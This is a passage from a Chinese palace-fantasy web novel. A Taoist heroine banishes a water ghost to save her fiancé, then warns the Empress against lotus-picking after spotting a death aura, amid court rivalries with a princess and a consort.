他从小熟悉水性,自进宫就被派来御花园掌管游船画舫,打理湖中荷花。
“焱儿,你撑住呀!”
见有人下水救人,成懿公主才松了一口气,捂着心口,一张脸吓得惨白。
殷琉璃眉头却一紧。
湖水剧烈激荡,水花下似乎有一道黝黑的身影,在顾瑾焱身边徘徊。
哇呀呀奉命保护顾瑾焱。
可它无法入水,急的在水面上盘旋几圈,飞在殷琉璃耳边哇哇大叫,
“哇呀呀……主人,下面有邪物!”
殷琉璃点点头,用心念道,“看见了。”
果然情况突变。
小太监刚一入水,身上就跟坠了千钧重担似的沉了下去。
“小李子?小李子!”
画舫上的两名宫女脸色突然大变,趴在船帮上惊恐万状的尖叫,
“不好了,小李子也沉下去了!”
“来人……救命呀!”
……
“什么?怎么会这样!怎么会……”
刚刚松了口气的成懿公主惊的一屁股跌坐在地上,手脚并用往湖中爬去,“焱儿!焱儿你撑着,母亲救你来了!”
众人赶紧涌上前拉住她,慌的六神无主,
“快拉住殿下!”
“殿下,您不能往水里去!”
“殿下您也不会水呀,会要命的!”
“来人呀……”
……
“万气本根,天地玄宗,水中阴邪,退避三舍,急急如律令!”
电光火石间,一道灵光从殷琉璃指间飞出,射入水中。
在顾瑾焱周身纠缠的黑影瞬间消失,开水般翻腾的水面只剩下一串串气泡。
若要救人,必须先除掉水中阴邪,不然下去一个死一个。
殷琉璃这才从旁边的观赏植物上扯下片叶子,纤细的手指在叶片上凌空虚画,以心念催动,
“天地无极,太一生水,化船辟水,破浪救生,急急如律令!”
掌中树叶瞬间散发出一道光芒。
她抬手往湖中一丢,树叶顿时如一支快箭般向顾瑾焱驰去。
“哗啦……”
顾瑾焱的头从水中冒了出来,那张俊美的脸上满是狼狈,张开嘴大口大口喘气。
入水的一刻他猛然感觉脚踝被什么拽住,将他死死往下拖,力量极大。
他不识水性,拼命挣扎反倒呛了几口水。
就在肺里的空气即将耗尽时,脚踝上那只冰冷手突然消失,身子蓦地一轻。
旋即脚下好像踩到一块木板,用极大的力量将他托出水面。
“哗啦啦……”
又是一阵水响,小太监也从水中钻了出来,一双眼睛惊恐万状,全身瑟瑟发慌乱不堪。
和顾瑾焱异样,没人知道他在水下发生了什么!
一进水,他的脚就被一只冰冷的手攥住,死死往下拖。
他心里顿时咯噔了一下,完了!
从小跟着爹爹在河中撑船,打鱼,小太监知道自己这是遇水鬼了!
水鬼要托生投胎,只能往水里拉一个活人溺死,当替身!
小太监惊恐万状,拼命挣扎踢打,可怎么都无法摆脱那只鬼手,只能眼睁睁看着自己往下沉。
好在快要溺水的时候,那只鬼手消失了……
这时两个宫女连哭带叫的喊他,
“小李子,你还愣着做什么,快救世子爷!”
“小李子,救人呀!”
……
“世子爷,抓住奴才的手……快!”
小太监赶紧扑腾双臂划水,一把抓住顾瑾焱的手臂,用了吃奶的力气把他往画舫上拖。
两人好容易才爬上了画舫。
惊魂未定,一屁股坐在船板上大口大口喘气。
岸上众人悬着的心瞬间落回了肚子里,纷纷挥手大叫,
“世子爷没事儿吧?”
“快送世子爷上岸!”
……
成懿公主通红的眼睛里闪过一抹光芒,满脸绝望悲痛瞬间被惊喜替代,在众人的搀扶下颤巍巍的站了起来,望着他噗噜噜的落泪,
“焱儿!焱儿你、你活着就好,活着就好
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……”
“母亲!”
画舫很快划到岸边,顾瑾焱顾不上浑身狼狈,跳下船扶住成懿公主的双手道,
“让母亲担忧了,儿臣已安然无恙!”
成懿公主心疼的都要碎了,慌乱的看着他追问,
“快让母亲瞧瞧,你、你伤到哪儿没有……”
谁知话音未落,顾瑾焱已然在混乱的人群中寻到了殷琉璃的身影,从她手中挣脱快步走到殷琉璃面前。
殷琉璃淡淡的看着他,“你……”
还没说话,顾瑾焱蓦地张开双臂,将她紧紧抱入怀中,低沉的嗓音带上了一抹微颤,
“我知道是你!琉璃,我知道……你又救了我一次!”
所有人的目光齐刷刷聚焦在两人身上,眼神中满是震惊和讶异。
“你……没事就好。”
殷琉璃缓缓吐了口气,抬手轻推,“快放开我,好好说话。”
“不,我不放!”
顾瑾焱手臂用力将她抱的更紧,一双幽深的眸子散发出灼灼的光芒,“这辈子我都不会放手!殷琉璃,就这样,让我抱你一辈子!”
殷琉璃心口轻轻跳动了起来,脸颊蓦涌起一抹红晕。
“焱儿!”
成懿公主脸色顿时一沉,愠怒的喝道,“你这是做什么?你、你给我回来!”
顾瑾焱还不知母亲对殷琉璃的态度,一把抓住她的手道,
“琉璃,我带你去见母亲。”
殷琉璃眼神清冷的拉住他,轻描淡写的说,
“不用了,顾瑾焱,我和你母亲还是不要见的好。”
顾瑾焱不觉皱眉,“这是为何?”
“殷大小姐与我焱儿很相熟吗?你一个女儿家,大庭广众跟人拉拉扯扯像什么样子!”
成懿公主在众人拥簇下前来,矜贵的脸上闪过一抹不悦,没好气的训斥,
“还不放手!”
顾瑾焱眸子轻转,瞬间明白母亲对殷琉璃的态度。
殷琉璃看了她一眼,将顾瑾焱紧握的她的手一起聚到了成懿公主眼前,
“殿下是在说我?”
瞪大你的眼睛好好看看,是我不松手,还是你儿子拉着我的手不放?
第88章 我还怕我配不上她呢!
成懿公主有些挂不住,脸色一沉道,
“焱儿,还不快松手!与她拉拉扯扯成何体统!”
殷琉璃抬眸看他,“你母亲让你松手。”
谁知她手上非但没松,反而又是一紧。
顾瑾焱冲成懿公主晃了晃两人的手,傲然的挑眉,
“琉璃是儿臣的未婚妻,儿臣大难不死,看到琉璃为我担心过来宽慰,哪里不成体统了?”
成懿公主眸中闪过一抹不屑,倨傲的嗤道,
“什么未婚妻,她配得上你嘛!”
顾瑾焱不觉勾唇,
“琉璃是圣上亲封的大理寺寺卿佐使,儿臣却连个官职都没有,她自然配得上儿臣。
倒是儿臣心中时常忐忑,生怕配不上她呢!”
对了,不是母亲为儿臣定的婚事?儿臣还要多谢母亲呢!”
“你……”
成懿公主被他噎的一口气堵在喉咙里,狠狠甩了下衣袖,脸色铁青道,
“焱儿,你为了这个不祥人与母亲做对,你是要气死我嘛!”
殷琉璃不觉蹙眉,“殿下把话说清楚,不祥人说的是我?”
成懿公主愤愤的扫了她一眼,
“不是你还有谁!当初你殷侯府为求自保,用别人的八字当作你的拿来与我儿的八字对帖,本宫这才给你们诓了!
如今可好,我儿被你这个凶星妨的又是受伤又是落水,差点儿送命!”
话音甫落,在场所有人都惊讶的看着殷琉璃,窃窃私语道,
“怪不得殷侯府从小就把她扔了,原来她命犯凶星!”
“这种人谁敢娶?”
“可不是?这种不祥的人留在家里,那还不全家跟着倒霉呀……”
“拿旁人的八字去公主府对帖,那不是成心害人家嘛!”
……
顾瑾焱狠狠皱眉,“母亲,儿臣受伤落水怎么能怪在琉璃头上……”
“你给我住口!”
成懿面色铁青,难得一见的对儿子发火,“焱儿,你眼里若还有我这个母亲,就别再为她说话!”
顾瑾焱薄唇微抿,看了殷琉璃一眼。
甄氏急的脸色苍白,上前为女儿辩解,
“不是!不是这样的,殿下误会了,我女儿不是凶星,她没有用旁人的八字!”
“本宫不听你们狡辩!”
成懿公主冷面喝道,“告诉你,这种不祥之人,别说父皇封你做什么佐使,就是封你做公主,你这种不祥之人也别想踏进我公主府一步!”
顾瑾焱深深皱眉,“母亲……”
殷琉璃给了他一个眼色,浅浅勾起唇角讥讽道,
“殿下是为了这个,一来就看我不顺眼。
原来不是我得罪殿下,是殿下自己生自己的气呀。
定亲这事儿本也不是我一个女儿家的主张,殿下自己觉得选错了人,怎的反过来怪到我的头上?”
成懿公主顿时被她噎了一下。
顾瑾焱装模作样的挠了挠鼻子,因为忍笑表情变得有点儿古怪。
他就喜欢殷琉璃这种桀骜不驯的样子,每每把人怼的像喉咙里吞了一颗枣,上上不去下下不来。
“牙尖嘴利,哪有一点儿高门大户人家小姐的样子!”
成懿公主瞪了殷琉璃一眼,恨恨道,“你也别得意,本宫自会奏明父皇,退了这门亲事!
焱儿过来,陪母亲去见你皇外祖母!”
顾瑾焱站在殷琉璃身旁不动,一脸慵懒的说,
“母亲要去奏明皇外祖退亲?那好,等退了亲,儿臣就去奏请皇外祖再行赐婚。
管她是不是什么凶星,儿臣还克**七个未婚妻呢,一个天聋一个地哑,正好一对儿。”
殷琉璃看了他一眼,心头莫名的划过一抹暖流。
她知道顾瑾焱一直维护自己,只是没想到他在母亲面前也维护的这么强硬。
“住口!你胡说什么!”
看儿子这副不成器的样子,成懿公主恨的牙根都痒痒。
“是谁要与本宫干孙女儿退婚呀?”
身后传来一个慈祥和悦的声音,国公老妇人坐着抬轿慢悠悠的过来,目光似笑非笑的落在成懿公主身上,
“要去就紧着些去,本宫好赶在焱儿跟前,求圣上把琉璃这丫头赐给我那孙儿才好!”
“成懿见过皇姑姑。”
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成懿连忙上前见礼,心里暗暗吃了一惊。
殷琉璃到底是个什么货色,竟然连皇姑姑肯替她说话!
看见老夫人,殷琉璃平静的脸上露出一抹纯真的笑容,深深福道,
“孙女儿拜见祖母,祖母安好。”
“孙儿见过皇外祖。”
顾瑾焱晃晃悠悠的过来,一脸不乐意的说,“皇外祖您高寿了,还跟孙儿抢,一点儿都不让着!”
国公老夫人呵呵笑了起来,“这么好的丫头,谁瞧见了不抢?偏你母亲是个没福的,到手的好媳妇儿还要往外推!”
顾瑾焱耍赖般道,
“儿臣不管,琉璃是我的,谁也别想抢了去!”
成懿听的心头又是一阵恼火。
她是父皇母后嫡生长女,从小到大受了无数恩宠,满皇宫里,也就父皇这位皇长姐敢说她是个没福的!
她这个不成器的儿子不知是不是被殷琉璃用了什么迷术,怎就对她那么死心塌地!
“行了,既然都来了,就去见皇后娘娘。”
国公老夫人打了个圆场,冲殷琉璃笑呵呵的招手,
“丫头过来,今日你跟你娘好好陪祖母游玩赏花吧!”
众人满脸吃惊,这位举足轻重的皇长姐,把对殷琉璃的护佑摆在明面儿上,以后谁还敢说这丫头半个不字?
“焱儿,还不走?”
看老夫人带着殷琉璃和甄氏上了画舫,成懿公主恨铁不成钢道,“看你这一身狼狈,还不去换了衣裳去!”
“啊嚏!”
顾瑾焱晃晃悠悠的过来,装模作样的打了个喷嚏,
“母亲快带儿臣去换衣服,……啊嚏!
母亲,我是不是受了风寒了?好冷、好冷啊……”
成懿公主原本充满怒意的脸瞬间变得紧张,抬手摸了摸他的额头,
“怕不是受了风寒?你这孩子,身上湿了就赶紧去换干净衣裳,非要跟母亲抬杠!
等会儿到了岛上赶紧换衣裳去,来人!还不快请御医生!”
顾瑾焱不着痕迹的勾了勾唇,“儿臣遵命。”
他能把母亲气的够呛,自然也知道怎么哄她!
第89章 她算什么人物?
母亲身为圣上与皇后嫡出长公主,身份自然是一等一的尊贵。
她自幼便万千宠爱集于一身,养成了个骄纵跋扈的,眼睛里没谁的性子。
至于母亲看不看得上殷琉璃,那是他的本事,与琉璃无关。
……
画舫靠岸。
殷琉璃扶着国公老夫人踏上湖心岛,一瞬间仿如步入人间仙境。
满眼翠绿清幽,花影摇曳,秀丽精致的亭台楼阁依山而建,错落有致。
靠岸一座水榭亭台,早已铺设好若干桌案,案上摆满用精美碗盘盛着的珍馐佳肴。
亭台中人影攒动。
宫中众嫔妃和外命妇华衣锦裳,满头珠翠,谈笑间笑语晏晏。
“皇长公主驾到!”
随着太监的唱和声,亭台中说笑声戛然而止,众人纷纷起身。
那位头戴金凤冠,身着一袭绛紫龙凤襟袍,体态略显丰盈的皇后娘娘,率众人迎出亭子。
殷琉璃暗暗打量,一张风韵明艳的面容,步履从容沉稳,勾唇含笑间一双凤眸暗藏锋芒。
即便在一众花团锦簇般打扮的众女中,也是耀眼夺目的一个。
殷琉璃不着痕迹的蹙了下眉,此人天生凤命,祖上福印深厚,自身应该也积累的不少福德,才能显出这一身的母仪天下的帝后之气。
只是她眉间缠着一抹死气,遇水则危,性命堪忧。
殷琉璃不觉奇怪,什么厉害的劫数连她这个一国之母,周身皇气的皇后都扛不下?
“皇长姐怎的这般才来?”
皇后娘娘上前先扶了老夫人的手,阻了她的见礼,亲近的笑道,“叫凤仪好等。”
“还不是允儿那孩子,身子还没好利索就闹着要跟来,叫我给哄住了。
听说你请了咱们圣上新封的一品诰命夫人和女佐使,可正正合了我的意!”
老夫人笑吟吟的寒暄两句,又冲殷琉璃招了招手,“你们娘俩过来,见过皇后娘娘。”
甄氏暗暗拉了殷琉璃一下,带她上前行礼,
“臣妇甄氏携女儿殷琉璃,拜见皇后娘娘。”
“臣女殷琉璃,拜见皇后娘娘。”
殷琉璃伏身跪拜的当,隐约嗅到了皇后娘娘身上缠绕的一缕药香。
观她面色红润光泽,不像大病缠身之人,她用什么药?
那缕死气又从何而来?
“平身吧。”
皇后缓缓打量了殷琉璃一眼,雍容的脸上淡淡含笑,
“你就是圣上破格提拔的女佐使,听闻皇长姐也收了你做孙女儿?
闻名不如见面,你小小年纪竟有这等出息,实在难得!”
老夫人笑道,
“你是不知她的厉害!若是知道了,怕不是要赶在我前头抢着认了孙女呢!”
皇后笑着望了殷琉璃一眼,
“与焱儿定亲的不就是她?要不了多久她就成了本宫的外孙媳妇儿,凤仪才不用与皇长姐抢。”
姑嫂俩谈笑说不出的亲近。
听娘和金嬷嬷说,这位皇后娘娘娘是当年国公老夫人亲自给圣上做媒,她娘家乃大昶朝百年世家大族,皇子夺嫡时出了大力气。
所以就算人到中年,皇后娘娘依然盛宠不衰。
“皇长姐请亭台落座。”
皇后一手挽着老夫人,看向殷琉璃的眼神说不出的满意,
“这孩子模样实在可人,一看就是个聪灵慧质的!
不满皇长姐说,凤仪一眼就喜欢极了……
来人,把女佐使的位子安在本宫下首。”
话音一落,一众嫔妃贵女们齐刷刷看向殷琉璃,眼神中充满了好奇、探究、审视与羡慕……
她算什么人物?
以前听都没听过,如何一来就能得了皇后娘娘的青睐!
殷琉璃揣着一肚子好奇,躬身道,“谢皇后娘娘。”
刚到亭台中落座,成懿公主就带着顾瑾焱过来**。
顾瑾焱重新换上了一身青色锦袍,修长康健的体魄在袍子的衬托下越发显得英姿挺拔。
那张俊美的脸看到殷琉璃,便用上关切的笑意。
殷琉璃轻轻颔首。
成懿公主看见她竟坐在了皇后下首处,脸色顿时不悦,
“母后把儿臣的座位安置在哪儿了,如何把一个来历不明的人放那儿!”
“来历不明?”
皇后不觉皱眉,“琉璃不是焱儿未婚妻吗,本宫
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瞧着甚是喜欢,便叫她来伴驾说话。”
成懿公主眸中闪过一抹不忿,
“母后不过才见她,有什么好喜欢的?母后有所不知,当初儿臣为焱儿选妃是被骗了,她……”
“母亲请坐。”
话音未落,顾瑾焱一把扶住她的胳膊,低头在她耳边悄声说,“咱们可说好了的,母亲要反悔,那也别怪儿臣反悔!”
成懿公主狠狠瞪了儿子一眼,只好坐落。
众人看她对殷琉璃如此态度,心里顿时多了一层看好戏的意思。
皇后温和的凤眸中闪过一抹探究,冲顾瑾焱招手,
“焱儿也到本宫这边儿来坐。”
“是。”
顾瑾焱躬身行礼,走过去附在皇后耳边悄声说了几句,便堂而皇之的坐在了殷琉璃身旁。
皇后点了点头,脸上依然笑意盈盈。
只是看殷琉璃的眼神多了一抹难以捉摸的意味。
“据本宫所知,殷家大小姐应该是殷玉珠吧?”
成懿公主身旁,一个身穿鲜艳海棠红,秀着芍药花色锦裳,容颜娇丽的嫔妃忽然轻笑了一声,
“那这位女佐使自称殷侯府大小姐,又是从哪儿冒出来的?”
成懿公主嗤之以鼻,“人家养在外面十几年,偷偷回来瞒的紧呢,连本宫都才知道,贵妃如何得知?”
张贵妃抬手掩唇,故作惊讶,
“是吗,养在外头的?那是不是自家血脉可不好说了……
殿下为世子选妃,可要好好查清楚,万不能让人污了皇族血脉!”
成懿阴阳怪气道,
“那谁知道?横竖人家回来,就把大小姐的位子抢了呢。”
殷琉璃慵懒的喝茶,冷笑勾唇。
成懿一落座就跟这个贵妃交头接耳,估计是要拿她当枪使。
她虽懒得跟这些吃饱了撑的内宅妇人斗来斗去,可也不是个忍气吞声的。
你们可别招我!
等我润润喉。
不等她开口,顾瑾焱眉宇间闪过一抹凛色,似笑非笑道,
“不劳贵妃娘娘替儿臣操心。儿臣的世子妃乃是圣上赐婚,圣上的思虑还不能还不如贵妃娘娘周全?”
第90章 你意欲何为!
话音一落,张贵妃脸色不由一紧,
“本宫不是这个意思。”
顾瑾焱邪眸冷笑,“是吗?这话听在儿臣耳朵里,倒像是贵妃颇有质疑之意,不知道皇外祖和皇外祖母听见了如何。”
张贵妃忙起身谢罪,
“皇后娘娘明鉴,臣妾真的不是这个意思,臣妾只是随口一说……”
“张贵妃一直深受圣上宠爱,自然是与圣上一条心,又怎会质疑圣上呢?”
皇后似笑非笑的望了她一眼,压压手道,“大家不过是说些玩笑话,不用认真,落座吧。”
皇后的话看似为她打圆场,可语气分明带上了敲打的意味。
倒让殷琉璃有些意外。
她还没来及开口,顾瑾焱和皇后娘娘就帮她把闲话挡回去了。
从一开始的盛赞,到现在的维护,这位和善中带着威仪之气的皇后娘娘,让殷琉璃又多了一层好感。
“是。”
张贵妃小心翼翼的应了一声,偷偷给成懿使眼色。
本想巴结一下圣上最宠爱的公主,这下她可不敢了。
成懿公主一脸悻悻。
众人看殷琉璃的眼神也多了一丝谨慎。
连张贵妃都吃了瘪,其他想巴结成懿的就更不敢说话了。
气氛变得有些沉重。
“好了好了,大家举杯。”
皇后笑吟吟的举杯道,“今儿风和日丽,最适合赏荷不过,咱们喝好了便去游船采荷。”
皇后近日遇水则危,她还要去游船采荷?
殷琉璃不动声色的蹙眉。
众人脸上带着奉承的笑容,七嘴八舌的附和起来,
“启禀皇后娘娘,臣妇瞧见湖中菡萏初开,美不胜收,定能采不少好看的养在房中呢!”
“清水出芙蓉,天然去雕饰。荷花最是清净纯美,超凡脱俗,素来有凌波仙子的雅称。”
“荷花乃六月花神,可每年只有皇后娘娘才能采到最漂亮纯净的那朵……”
“可见花神眷顾赐福,总让娘娘一个拔得头筹,咱们羡慕都羡慕不来……”
……
皇后被众人捧的十分受用,脸色却又有些迟疑起来,
“本宫格外喜欢荷花,每到时节便不觉想要亲近,便是看看都觉心神舒畅。
只是今日有些懒得动弹,你们自行去采,若谁得了花神眷顾,本宫再另行封赏。”
张贵妃魅色横生的眸子一转,起身恭维道,
“试问有谁能与皇后娘娘争锋?花神就等着给皇后娘娘赐福呢,咱们这些灰头土脸的去了,没得让花神娘娘嫌弃!”
殷琉璃微微蹙眉。
张贵妃明显带着一抹撺掇的意思。
果然她这一撺掇,众人跟着附和起来,
“是呀,皇后娘娘当得头筹!”
“这满湖的荷花都是为皇后娘娘开的,听说还是当年圣上驾船亲自为娘娘种下……”
“皇后娘娘不去,臣妾等哪儿敢往那里头玩去?”
……
皇后娘娘被众人捧着,也只好作罢,
“看来本宫不去,你们也不能去了。
罢了罢了,大家一起热闹去吧。”
看皇后起身,殷琉璃率先起来挡在她的面前,
“皇后娘娘不能去。”
皇后不由凝眉,讶异的看着她,
“女佐使,本宫为何不能去?”
殷琉璃脸色淡淡的说,
“皇后娘娘今日不宜遇水,所以不能去。”
众人面面相觑,满脸诧异的看着她,
“不宜遇水?那皇后娘娘如何来的湖心岛?”
“是呀,好好的赏花采荷,皇后娘娘年年如此,今日怎么就不宜遇水了呢?”
“皇后娘娘最喜荷花,你怎能这个时候扫娘娘的兴致!”
……
殷琉璃看了众人一眼,“乘船不算,但采荷不行。”
众人一片哗然,
“这是什么道理!”
顾瑾焱不动声色的站在殷琉璃身旁。
殷琉璃挑了挑眉,“不是什么道理。皇后娘娘不想出事的话,今日最好别碰湖中荷花!”
“大胆!”
张贵妃妩媚的眉眼间闪过一抹什么,厉声道,
“什么叫做不能碰荷花,简直胡言乱语!
枉皇后娘娘对你照顾有加,你竟拦着皇后娘娘赏荷?
耽误了花神赐福,打扰了皇后娘娘的雅兴,你可吃罪
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得起?”
殷琉璃幽冷的眸子看了她一眼,
“贵妃娘娘急什么?皇后娘娘不去采荷,不过是扰了一时的雅兴,总比出了事要好!”
张贵妃鄙夷的看了她一眼,嗤道,
“你说皇后娘娘出事就出事吗,本宫还说你是故意诅咒娘娘呢!”
成懿公主跟着发难,冷冷喝道,
“殷琉璃,你敢诅咒母后!圣上不过是给了你些脸面,做了个小小的女佐使,你可当得起大不敬之罪!”
殷琉璃瞥了她一眼,“我都说了遇水出事,殿下不问青红皂白就先给我安上了罪名,作为女儿,不是应该先想想皇后娘娘安危吗?”
成懿公主这才发觉失言,脸色顿时一黑,
“你胡说什么!”
气氛瞬间变得剑拔**张。
“好了,一群人吵吵什么,听人把话说完。”
混乱中,国公老夫人慢悠悠的开口,“凤仪,你要不要先听听这孩子怎么说?”
皇后面色微沉,目光落在了殷琉璃身上,语气意味不明,
“女佐使,你意欲何为?”
顾瑾焱抢先一步,躬身道,“启禀皇外祖母,琉璃说……”
“焱儿……”
皇后凤眸轻扫,一个威严的眼神便让顾瑾焱住了口。
她淡淡望着殷琉璃,似笑非笑中脸上带起了一抹威仪,
“女佐使,本宫要你亲口说个原由出来。
本宫念你聪慧,自始至终可是一直护佑于你的。
你却要扰本宫的雅兴,还说什么遇水出事……
若没个合适的理由,便真如成懿所说是在诅咒本宫了。”
诅咒在宫中是最大的禁忌之一,一旦落罪,株连九族都是轻的。
皇后娘娘这话说的不可谓不重。
一直没有吭声的甄氏攥起了拳头,一颗心悬在嗓子眼儿里。
“琉璃,你尽管说。”
顾瑾焱给了殷琉璃一个安心的眼神。
殷琉璃声线平静的说,“皇后娘娘眉宇间匿着一丝死气,死气至阴,水为阴,两阴相遇乃是夺命之相。
敢问皇后娘娘乘船而来,嗅到这湖中水气是否已觉不有些适了?”
第91章 你想去便去
皇后眉头轻敛,
“是有一些。不知怎的感觉今日湖水的腥味儿浓了许多,闻到便有些恶心头晕。”
殷琉璃刚要开口,就听见成懿轻嗤了一声,斜过眸子瞥她,
“母后刚才就说过懒得动弹,在座各位都听见了。
偏你拿来做个由头,说的这么吓人,简直就是危言耸听!”
张贵妃艳丽的眉眼间闪过一抹轻蔑,婉转冷笑,
“还以为什么,原来是有人故意大惊小怪,故弄玄虚呀。
皇后娘娘许是晨起偶感风寒,就被人寻个由头在跟前现乖讨好!”
殷琉璃冷眼看着她,
“就算皇后娘娘偶感风寒,贵妃不说劝着歇息,反倒撺掇皇后娘娘往荷塘里钻去?
偌大的荷塘密布幽深,连天荷叶挡住了湖面氤氲的水汽,皇后娘娘闻了岂不更要头晕恶心!
万一不慎坠下游船,又该如何是好?琉璃敢问贵妃打的是什么心思!”
话音一落,张贵妃脸色当即一沉,就要发作,
“放肆,你胡说什么!皇后娘娘乃一国之母,她凤体安康关乎我大昶国运,本宫唯皇后娘娘马首是瞻,岂能不体贴娘娘?”
“我琉璃丫头说的不对吗?贵妃刚才上蹿下跳的撺掇,就是这么体贴皇后的?”
高座上传来国公老夫人不轻不重的一哼,含着一抹幽意的眸子打量着张贵妃,
“瞧瞧你今日穿的什么?明知凤仪不喜艳色,偏偏穿了一身明艳的玫红!
连这墙上的蔷薇花儿都比下去了,你好不耀眼呀。”
老夫人话中毫不掩饰斥责之意。
张贵妃脸色大变,忙扑通一声跪下谢罪,
“是、是臣妾失言,请大长公主恕罪!臣妾知道皇后娘娘偏爱荷花,每年都会带领臣妾等采荷以求花神降福。
臣妾也想跟随娘娘讨个**,这才多言了几句。
至于这身衣裳,是圣上体念臣妾伺候殷勤,特意封赏的几匹料子,臣妾才敢穿在身上。”
国公老夫人慵懒的搔了搔发间,轻笑道,
“原来是圣上封赏,罢了,本宫与皇弟说去,以后不赏你这些也罢!
穿在身上比花还要抢眼,你要本宫赏花还是瞧你?没得碍眼!”
说罢与皇后对视一眼,皇后会心而笑。
张贵妃被训斥,在座众多嫔妃掩口偷笑,解气的不得了。
看她的眼神里更是满是讥讽不屑。
这些日子,张贵妃也不知耍了什么手段,惹得圣上隔三岔五往她宫里跑。
老夫人霸气的冲殷琉璃抬了抬下巴,
“琉璃丫头,你还有什么话,一股脑跟皇后说清楚。
本宫在这儿替你看着,看哪个不长眼的还敢多嘴!”
这话是冲着殷琉璃说的,可分明是在敲打成懿。
成懿公主垂了下眼皮,狠狠咬了下唇不敢再吭声。
她就是再骄纵,也不敢轻易惹她这位举足轻重的皇姑母。
张贵妃更是暗中狠狠剜了殷琉璃一眼,咬牙切齿。
“琉璃多谢祖母!”
殷琉璃露出一个大大的笑容,坦然看向皇后,“皇后娘娘,琉璃不才,略通些相术,观气之法。
今日观娘娘眉间缠着一抹死气,遇水则危,为娘娘安危着想才阻拦您游船采荷。”
皇后面色紧了紧,“女佐使,这死气……要紧吗?”
“娘娘别怕,不是什么大事儿。”
殷琉璃脸色淡淡的说,“娘娘乃一国之母,自有皇气护体,今日不碰湖水死气无着便会自行消散,琉璃可保娘娘平安无事。”
“启禀皇后娘娘,采荷祈福吉时已到……”
掌管御花园的太监总管急匆匆过来,一脸兴奋的说,
“奴才刚去瞧了,今年荷塘开的格外繁盛,那真是娇艳欲滴,美不胜收!
其中一株荷花还是个并蒂莲,寓意帝后并蒂花开永结同心,可是大大的吉利呀!
奴才远远的瞧去,天降祥兆,上面还挂着一弯彩虹呢!
定是花神娘娘亲临,为皇后娘娘消灾纳福,增福增寿!”
又是并蒂莲,又是彩虹,众人听的心里直痒痒,不由悄声议论起来,
“一年只有这一次跟花神娘娘祈福的机会,错过了时辰,岂不是花神娘娘生气?”
“年年都是皇
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后娘娘亲自主持采荷祈福仪式,今年不去,岂不是误了这大好的吉兆?”
“只怕得罪了花神,这可如何是好?”
……
并蒂莲花自古便被人视作祥瑞,不止寓意夫妻百年好合,永结同心,更预示着国泰民安风调雨顺,是盛世之兆。
皇后自然不想错过这么好的祈福机会。
她满脸为难,迟疑的看着殷琉璃,
“这……”
殷琉璃眼神坚定,
“皇后娘娘信不信琉璃都好,为娘娘安康着想,娘娘就是赐罪琉璃也会拦着!”
皇后丰润威仪的脸上闪过一抹欣慰,刚要说话,顾瑾焱上前道,
“皇祖母,琉璃曾用道术帮儿臣破了一桩悬案,还救过儿臣两次!
其实她说的谦虚了,她并非略同道术,而是精通!”
说着,他俯身跪在皇后面前,俊美的脸上满是凝重严谨,
“儿臣愿用身家性命为她作保,请皇祖母一定要相信琉璃!”
皇后抬手拍了拍他的脑袋,唇边勾起一抹苦笑,
“本宫知道你们都是好孩子……罢了罢了,本宫不去便是,倒要你在这里赌咒发誓的!”
“焱儿,女佐使本事既然这般厉害,还用得着你替人家担保?”
成懿公主恨铁不成钢的瞪了儿子一眼,一脸不甘心的说,
“并蒂莲花难得一见,寓意极好,母后不去亲临主持祈福仪式,实在有些可惜。
不若让儿臣替母后去祈福,儿臣一定好好替母后祈求花神,保佑父皇母后并蒂花开,永结同心,祝祷我大昶国泰民安,风调雨顺!”
被国公老夫人敲打后,她说话变得小心翼翼起来。
顾瑾焱心头闪过一抹什么,还没开口成懿公主就冷眼看着殷琉璃,讥讽的说,
“劳烦这位女佐使大人替本宫瞧瞧,本宫今日有没有危险,能不能采荷碰水?
若是连本宫都不能去,错过这么好的祈福机会,本宫可就不知该如何是好了。”
殷琉璃打量了她一眼,轻描淡写的说,
“殿下想去便去。”
你想去便去,问我,呵呵!
第92章 你早就知道我母亲会犯险?
你死不死的,与我又没关系。
顾瑾焱心里莫名咯噔了一下,想说什么,又被成懿公主抢了话,
“这可是你说的。”
“成懿,不得骄纵。”
皇后无奈道,“今日花神降下祥瑞,吉庆不可错过,你便替本宫去祈福吧。”
“是,儿臣遵命!”
成懿行了个礼,抬头倨傲的冲殷琉璃挑眉。
殷琉璃挪开目光,一脸云淡风轻。
顾瑾焱心里始终觉得不踏实,暗搓搓往殷琉璃身边靠近,低头在她耳边问道,
“琉璃,我母亲……”
殷琉璃刚转过脸来,就被成懿公主狠狠瞪了一眼,没好气道,
“焱儿,你不跟母亲去主持祈福,还愣着做什么?”
“母亲……”
顾瑾焱眉宇间紧了紧,还没说话就被成懿拽住胳膊拉走了。
殷琉璃淡淡挑眉。
成懿问她,她什么都懒得说。
但顾瑾焱开口,她自然会把知道的告诉他。
只可惜成懿自己作死,她喜闻乐见。
……
“琉璃丫头,与那起子人费了半天口舌,过来喝杯酒润喉。”
老夫人满脸疼爱的冲殷琉璃招了招手,“来人,把本宫的花果醉给琉璃丫头倒上一碗。”
“琉璃谢祖母赏酒。”
殷琉璃从来不拘束自己,随意的坐在老夫人膝下的台阶上,慢悠悠的赏景喝酒。
看她洒脱自在的样子,老夫人更是满眼喜欢。
“来人,将本宫桌上的果品点心赏与女佐使。”
皇后眉宇间带着一抹复杂的神色,似笑非笑的看着殷琉璃,
“女佐使,你可知道你贸然阻拦,惹怒本宫可降罪与你?”
殷琉璃嗯了一声,轻描淡写的说,“知道。”
“你不怕?”
皇后有些意外。
殷琉璃脸色认真的说,
“皇后娘娘从一开始就护佑琉璃,琉璃心怀感激,就算娘娘降罪也不怕。
何况琉璃说的不会错。”
皇后心头不觉动容,
“你秉性纯良,聪慧过人,怪不得能被圣上破格提拔。”
为安危着想,她只是听取了殷琉璃的建议,并非轻信,若要让她心悦诚服的信任更是另说。
能在宫里盛宠不衰这么多年,除了当初圣上夺嫡时娘家助了一臂之力,心里没些城府是混不下去的。
即便甚为皇后也是如此。
正说话,荷花塘那边传来一阵哗乱。
殷琉璃抬眸眺望,成懿公主乘坐的那只游船在一片荷花中晃动起来,船上人纷乱如麻。
她一脸淡然,继续喝老夫人赏的甜酒。
“怎么回事?”
皇后顺着声音望去,脸色大惊,“是成懿的船!来人,去看看怎么回事!”
片刻,一个小太监慌慌张张的跑来禀报,
“启禀皇后娘娘,大事不好,殿下去采那支并蒂莲的时候被……被水蛇咬了!”
皇后丰润的脸上满是紧张焦急,
“水蛇?荷花里怎么会有水蛇!殿下伤的重不重?那、那水蛇有没有毒性?
还愣着做什么……快去问!着人、着人把成懿带回来!”
